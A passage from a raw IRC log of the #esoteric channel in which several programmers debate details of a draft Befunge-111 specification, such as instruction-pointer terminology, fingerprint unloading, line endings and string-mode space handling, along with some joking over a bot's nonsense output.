:Well, for one thing < 1267649128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Consider < 1267649128 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On the other hand, certainly GMP's user-visible API doesn't restrict the value sizes, it's just their implementation of it. < 1267649131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x < 1267649132 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1267649134 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : y < 1267649136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1267649137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x < 1267649138 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1267649138 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Why no unefunge/trefunge? :-/ < 1267649140 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : y < 1267649148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The spaces between x and y are traversable < 1267649155 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because they hit either x or y (when going diagonally) < 1267649156 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, no one said they aren't? < 1267649157 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eventually < 1267649159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But x, downwards, isn't < 1267649163 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(Unefunge/Trefunge-111 can be derived from Befunge-111 later) < 1267649170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because it does not lead to any traversable cell without wrapping < 1267649170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1267649172 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So it's more precise < 1267649176 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: IP is position, yes. < 1267649180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :internal bounds aren't an integer coordinate < 1267649181 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, also they might not. Consider the delta from the space in the middle < 1267649186 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :so it never hits x or y < 1267649190 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, that can happen < 1267649193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: That's why traversability is defined based on the velocity < 1267649196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Read the damn definition < 1267649214 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, actually, what if there are no cells we can hit < 1267649215 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I'm using "EC" for "Execution Context" for "Collection of IP, delta, stack, etc" instead of overloading "IP" to mean all that < 1267649224 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, like, some other thread overwrote all with spaces < 1267649227 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267649228 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :some other IP < 1267649259 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Works for me, although I'd probably prefer IP for the backwards-compatibility (even though -93 used PC, IIRC...) < 1267649265 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, or kp was used to overwrite both k and p and anything else in the same "ray" < 1267649268 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Then advancing never terminates < 1267649276 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I guess that is okay < 1267649286 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I'll mention the change PC -> IP -> EC in the notes. < 1267649322 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: It's not great, but it's tolerable < 1267649337 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, btw, I consider IP something that has a position, a delta, a string-mode-flag, a stack-stack plus possibly a few other things < 1267649344 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :what do you consider an IP nowdays then < 1267649356 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What he said: the position < 1267649367 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267649375 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's an "instruction pointer", after all; it sort-of makes sense to be just the position. < 1267649390 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's arguable either way < 1267649417 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Traditionally an instruction pointer always behaves the same way and thus only "needs" to be the position < 1267649439 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Whereas in Funge, much of what you do involves modifying the way the instruction pointer behaves < 1267649480 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what happens to an ec with delta 0? < 1267649491 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yes, well... on the other hand, even "traditionally" there's the stack which is very much not part of the intstruction pointer; there's some other sort of "context" that groups the IP position and the stack. < 1267649501 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Again, advancing doesn't terminate. < 1267649509 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, shouldn't it just do nothing < 1267649513 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and simply rest on it < 1267649524 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Sure, there's other stuff, but the stack there isn't so associated with the IP < 1267649526 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, it should execute the instruction on the current spot < 1267649530 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but if that is space then what < 1267649531 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, ^ < 1267649535 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Um, delta 0 will execute the instruction at the IP over and over and over < 1267649551 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what if that instruction is a space though < 1267649552 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Right, it's associated with the context, which is what should correspond to the 98 "IP" anyway. :p < 1267649554 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: It isn't in Funge either, but things like the delta are. < 1267649561 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, and what about a j? :D < 1267649579 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: If it's a space advancing doesn't terminate. < 1267649584 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: You should be able to figure it out from the spec so far < 1267649593 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not j, the other stuff < 1267649597 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, well okay < 1267649606 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :oh needed to ctrl-refresh it < 1267649608 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :strange < 1267649621 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I guess you could argue for some sort of intermediate thing where IP is the (position, velocity) pair, and the rest are EC. If you wanted to, for some inexplicable reason. < 1267649643 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I'd argue that the string mode is also part of the IP. < 1267649645 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :On that note, is there a good term for a (position, velocity) pair? < 1267649651 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Ray < 1267649664 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Hm, ok. < 1267649670 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sort of < 1267649676 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: And possibly I can argue enough things that it'll just be a matter of convenience to group the rest into the IP as well ;-) < 1267649684 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Call it a particle, that would be silly-funny. < 1267649685 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Agent < 1267649691 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :An agent is somewhere, and moves places. < 1267649698 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"A ray is part of a line which is finite in one direction, but infinite in the other. It can be defined by two points, the initial point, A, and one other, B. The ray is all the points in the line segment between A and B together with all points, C, on the line through A and B such that the points appear on the line in the order A, B, C." < 1267649702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's directed-acting to modify some state based on some other state. < 1267649703 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :-- Wikipedia < 1267649704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Thus, an agent. < 1267649720 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :We define it with A and B-A but that's equivalent. < 1267649746 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :A (classical) particle has position and velocity too, though. And then you can easily make the position a probability density function and so on in the quantum extensions. :p < 1267649747 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Also: TRAVERSABILITY NOW :| < 1267649752 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(I am being a bit unserious.) < 1267649757 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: What's the point? < 1267649760 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Agent particle < 1267649769 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: More formal, more precise, easier to implement < 1267649776 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :More precise how? < 1267649779 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :How is it... yeah < 1267649786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x < 1267649787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1267649788 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : y < 1267649802 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the bounds here aren't rectangular < 1267649807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :only the cell between x and y is traversable < 1267649821 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: For a typical sort of ray, though, ((0, 0), (1, 1)) and ((0, 0), (2, 2)) would be the same ray; but no-one would claim those to be equivalent for a particle. < 1267649825 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: How is this "more precise" < 1267649838 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because it is, so there < 1267649847 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You really have to define what you mean by "precise" :-P < 1267649859 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think it's probably equivalent, but it adds the burden of distinguishing some cells from others < 1267649870 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Aw dang; I waited ~three hours for fungot's Twitter-poster to actually say anything, and then it bailed out due to a typo. < 1267649870 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: o jeh, o naw, o naw, o naw, o naw. morfoatari, was charged with manslaughter. < 1267649888 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :^style < 1267649888 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* < 1267649896 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267649937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :These are the beginnings of a new language. < 1267649948 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Morfoatari means "was charged with manslaughter". < 1267649958 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, an IP may also contain IP specific data. < 1267649964 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267649966 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fail < 1267649971 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fingerprint specific data < 1267649972 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I meant < 1267649981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I postulate that either manslaughter = atari, orfo = charged with, and m = past tense, < 1267649982 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or, < 1267649992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :foat = manslaughter, ari = charged with, mor = past tense < 1267649998 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Yes, the fingerprint-semantics-stack-set -- that's mentioned in the defns < 1267650005 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, also: unloading a fingerprint isn't well defined. It might be partly unloaded < 1267650029 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, well I meant, per-fingerprint data < 1267650035 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, as in special flags for MODE < 1267650036 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :or whatever < 1267650041 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Unloading fingerprints will be precisely defined to have the same broken behaviour as -98, probably < 1267650055 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: That's the fingerprint's business, not the EC's. < 1267650062 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: And what of "o jeh", and "o naw"? < 1267650063 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I don't think 98 behaviour is actually broken as such < 1267650074 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Fine, "stupid behaviour" < 1267650086 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: jeh/naw are probably yes/no. < 1267650088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :o = it's, I bet. < 1267650088 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't think it's stupid either :-P < 1267650089 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I liked it :) < 1267650094 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So It's yes = it's good, it's naw = it's bad < 1267650100 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So it's good, he was charged! But oh the downsides. Bad bad bad. < 1267650115 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure what else to call something where you can unload it and it's still there < 1267650133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Consider a newspaper article: "O jeh! O naw, o naw, o naw, o naw. Morfoatari [the criminal but the implications ...]." < 1267650137 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You're not unloading "it" ;-) < 1267650138 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, see it as set operations < 1267650146 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Multiset < 1267650172 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No, you're unloading all the instructions that are defined in it, no matter what they actually do right now. < 1267650174 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, let A and B be sets of the letters each fingerprint implements < 1267650190 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, then you have operations like A\B < 1267650191 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If that's what you want, it makes more sense to just... list those instructions < 1267650222 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If AAAA and BBBB define the same sets of letters, unloading either has the same semantics < 1267650254 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267650269 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :To add one data point, I have a mild dislike of that; can't quite quantify the amount, but not large. < 1267650270 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: It's the new *new* Newspeak. < 1267650297 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I quite like the current behaviour, and I see nothing wrong with it < 1267650314 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I might make a fingerprint that allows sending fingerprint instructions between ips or such < 1267650327 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hey in efunge I could create fingerprints on the fly < 1267650332 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I just realised this < 1267650345 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :since they are basically a stack of lambdas < 1267650349 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(funs) < 1267650370 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :sure, they can resolve to a function in a module (what currently happens) < 1267650389 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but nothing prevents a complete lambda being pushed there < 1267650437 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what about CR for file loading? < 1267650454 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Not supported, use a text converter. < 1267650474 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :CR for file loading? < 1267650483 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You mean mac-style line breaks? < 1267650497 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I assumed that what what anmaster_l meant < 1267650505 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Why not supported? < 1267650506 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, aww, I went to great lengths ensuring any combination of LF CRLF and CR mixed for different lines in a single file worked < 1267650517 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so CRLF is also unsupported I guess? < 1267650529 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: "file" is a more abstract concept < 1267650541 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :last I checked mycology was encoded in CRLF < 1267650555 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That exposed a bug in rcfunge IIRC < 1267650559 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which reflected on CR < 1267650571 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so basically it would use native line ending always? < 1267650573 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or can't remember which, one of the earlier interps. < 1267650577 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There is nothing stopping an implementation from providing loading of files in other formats as an option < 1267650583 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: No, always 10. < 1267650585 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, would actually handling non-native formats be allowed? < 1267650589 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267650599 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That's massively inconvenient for windows users < 1267650606 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but that would need to be an explicit option? < 1267650630 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(which I don't think is a good idea requiring) < 1267650650 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267650660 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It's just payback for "you people" spewing all those CRs everywhere. < 1267650679 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the SGML spaces + ticks had a somewhat tricky semantics iirc < 1267650688 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Deewiant is the right person to ask here iirc < 1267650698 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I forgot what he thought was the best idea < 1267650699 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't really mind myself since I use vim which can easily save in whatever format I want < 1267650704 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But people /do/ use notepad < 1267650713 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And programs default to CRLF < 1267650718 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :c < 1267650724 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :s/c// < 1267650728 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, only on windows < 1267650739 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that's what I was talking about all along < 1267650750 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :well yes < 1267650810 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, what about s? The first time I read it, I assumed it pops a value from the stack, writes it to (pos+delta), then continues from the just-written value, but I guess interpreters generally tend to skip it, like ' does? (It's "defined" to be "mirror image" of '.) < 1267650818 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The only trickiness that comes to mind re. SGML spaces is in what order they are meant to work < 1267650836 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess I was just hoping for a handy "execute the op currently on top of stack" command. < 1267650845 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I mean, where are you after spending three ticks (" included) in "x y" < 1267650854 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, indeed < 1267650860 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, where were you? I forgot < 1267650870 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think you're on the y < 1267650884 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Seems most sensible to me anyway < 1267650898 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267650899 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :how < 1267650904 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Why would you not be on the y? < 1267650910 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267650914 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Enter Stringmode, Push `x`, Push ` ` < 1267650916 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :what about *on* the third tick < 1267650923 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You /could/ be on the second space, and you'd skip it only next tick < 1267650924 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, then skip over the second space? < 1267650944 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think that was cause for some confusion anyway < 1267650950 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I might misremember, maybe there was some other issue. < 1267650956 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :yes, iirc it exposed a bug in ccbi < 1267650966 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :after we found out it wasn't in cfunge as first thought < 1267650981 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I do think I've always done it the same way < 1267650986 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You need a sort of a "read-ahead" in stringmode to be on the "y" after the third tick, whereas for the other way (skip extra spaces only on the second tick) you don't. < 1267650998 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Since the whole "ticks" thing only makes sense when there are multiple ECs, and multiple ECs are optional, I'm thinking of just dropping it. < 1267651010 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes but you had a bug that hid a bug in mycology in the tests related to i < 1267651011 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :it* < 1267651013 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That'd make everything multithreaded unspecified... which sucks < 1267651030 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Well, I've always thought of it as execute-then-advance-to-next-thing-that-can-be-executed (stringmode or no) < 1267651053 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, indeed < 1267651056 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right, that's a more general issue I think < 1267651082 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I may've done it as loop { advance-to-next-executable, execute, move by delta } < 1267651088 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :In "SGML" that means, push space then advance to next (non-space) thing that can be pushed... I don't see any lookahead involved < 1267651107 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: See what I just said < 1267651132 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you do it as advance-to-next-executable, loop { execute, move by delta, advance-to-next-executable } there's no problem < 1267651139 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :funny thing... memtest86+ claims L1 speed is 16394 MB/s, L2 speed is 1123 MB/s, and memory speed is 1132 MB/s < 1267651140 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :so... < 1267651151 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :my main memory would be faster than L2? < 1267651172 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1267651288 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you really want to be nitpicky, you could complain about this case: IP 1 executes whatever and moves to location X, which contains some executable-looking instruction; then IP 2 overwrites that with space; now what should IP 1 do? A literal reading of the spec is quite clear: " The IP executed is the one at the current position of the IP. Only after that does the IP moves by its delta to a new position." < 1267651316 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On the other hand, the spec is equally clear: "-- space -- cannot ever be truly executed, in the sense of it taking up a tick and doing something." < 1267651389 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think at least my interpreters have opted to possibly move the IP even before execution, if the current position happens to be a space or a ;. < 1267651414 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure I handle that separately < 1267651427 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :actually, I think it can't happen < 1267651442 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :since I handle space in my execute_instruction < 1267651442 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It can, if a child IP overwrites your position with a space < 1267651452 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :as a loop that goes forward looking for next non-space < 1267651457 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :so hm < 1267651462 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But does it then execute the next instruction? < 1267651469 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it does after < 1267651473 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :On that tick < 1267651475 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not the next < 1267651478 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes < 1267651485 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So it's all good :-P < 1267651487 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I return "continue with same ip" < 1267651494 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :instead of "continue with next" < 1267651498 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I know I've broken and unbroken this many times in CCBI < 1267651504 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I may have copied that sort of behaviour from some other interpreter, yes. < 1267651506 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, same I think < 1267651517 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but the thing is < 1267651526 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I don't search forward at the end of the cycle < 1267651530 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but at the start of the cycle < 1267651542 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :at the end of the cycle I just move forward one delta < 1267651557 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right, that's one of two alternatives < 1267651569 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And it's not entirely specified which one is right, I think. < 1267651580 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that's a bit unclear too, since the "move afterwards" part of the spec only says you should move "as specified by the delta". < 1267651585 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and only when I'm about to execute again I check if it is space, then skip forward and execute whatever is after < 1267651589 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(assuming non-string mode < 1267651591 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :) < 1267651599 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(string mode would be somewhat different) < 1267651609 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But if you opt for the literal reading of that first part ("you must execute whatever is at the current position, and only move after that") you can't do it like that. < 1267651622 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure anyone does, though. < 1267651636 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, j would be rather different then for example < 1267651645 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :For one thing, it sas that you have to execute the "IP -- at the current position of the IP". < 1267651646 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, especially kj < 1267651650 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Which doesn't really sense make. < 1267651655 0 